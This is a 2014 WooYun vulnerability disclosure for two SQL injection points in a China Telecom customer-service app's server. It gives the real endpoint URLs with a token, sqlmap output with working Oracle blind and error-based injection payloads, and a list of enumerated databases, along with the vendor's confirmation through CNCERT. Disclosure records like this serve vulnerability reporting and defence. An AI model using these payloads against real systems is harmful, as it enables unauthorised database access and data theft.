当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-055659

漏洞标题:中国电信某APP服务端两处SQL注射

相关厂商:中国电信

漏洞作者: 超威蓝猫

提交时间:2014-04-05 21:35

修复时间:2014-05-20 21:35

公开时间:2014-05-20 21:35

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-05: 细节已通知厂商并且等待厂商处理中
2014-04-10: 厂商已经确认,细节仅向厂商公开
2014-04-20: 细节向核心白帽子及相关领域专家公开
2014-04-30: 细节向普通白帽子公开
2014-05-10: 细节向实习白帽子公开
2014-05-20: 细节向公众公开

简要描述:

中国电信某APP服务端SQL注射(*.189.com) 涉及多个数据库

详细说明:

这几个接口都存在于"天翼客服"app中,该app可从豌豆荚应用商店下载。

注射点1


http://content.kefu.189.cn:8005/public/sjkf/hotwords/searchPrompt?&appCode=003&hotWord=1&token=5db9ae9853aabd4f0a388e21a0e9d1ad&deviceOS=android


其中hotWord参数存在SQL注射

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: hotWord
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: &appCode=003&hotWord=1%' AND 4434=4434 AND '%'='&token=5db9ae9853aabd4f0a388e21a0e9d1ad&deviceOS=android
Type: AND/OR time-based blind
Title: Oracle AND time-based blind (heavy query)
Payload: &appCode=003&hotWord=1%' AND 1637=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) AND '%'='&token=5db9ae9853aabd4f0a388e21a0e9d1ad&deviceOS=android
---
web application technology: JSP
back-end DBMS: Oracle
available databases [22]:
[*] APEX_030200
[*] APPQOSSYS
[*] CTXSYS
[*] DBSNMP
[*] EMS2
[*] EXFSYS
[*] FANGLE
[*] FLOWS_FILES
[*] MDSYS
[*] MOBILE_SERVICE
[*] MOBILE_SERVICE_CONTENT
[*] MOBILE_SERVICE_VM
[*] OLAPSYS
[*] ORDDATA
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] WMSYS
[*] XDB


注射点2


http://content.kefu.189.cn:8005/public/sjkf/manualstype/MyPhone_InstructionManual?&deviceModel=sdk&deviceOS=android


deviceModel参数存在SQL注射

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: deviceModel
Type: error-based
Title: Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)
Payload: &deviceModel=-7643') OR 4436=UTL_INADDR.GET_HOST_ADDRESS(CHR(113)||CHR(110)||CHR(110)||CHR(113)||CHR(113)||(SELECT (CASE WHEN (4436=4436) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(104)||CHR(106)||CHR(111)||CHR(113)) AND ('Dmmf'='Dmmf&deviceOS=android
Type: AND/OR time-based blind
Title: Oracle OR time-based blind
Payload: &deviceModel=-2289') OR 3440=DBMS_PIPE.RECEIVE_MESSAGE(CHR(79)||CHR(108)||CHR(111)||CHR(113),5) AND ('WmXG'='WmXG&deviceOS=android
---
web application technology: JSP
back-end DBMS: Oracle
available databases [22]:
[*] APEX_030200
[*] APPQOSSYS
[*] CTXSYS
[*] DBSNMP
[*] EMS2
[*] EXFSYS
[*] FANGLE
[*] FLOWS_FILES
[*] MDSYS
[*] MOBILE_SERVICE
[*] MOBILE_SERVICE_CONTENT
[*] MOBILE_SERVICE_VM
[*] OLAPSYS
[*] ORDDATA
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] WMSYS
[*] XDB

漏洞证明:

如上。
数据太多 就不--count了

修复方案:

电信更专业

版权声明:转载请注明来源 超威蓝猫@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-04-10 08:54

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT通报给中国电信集团公司处置。rank12

最新状态:

暂无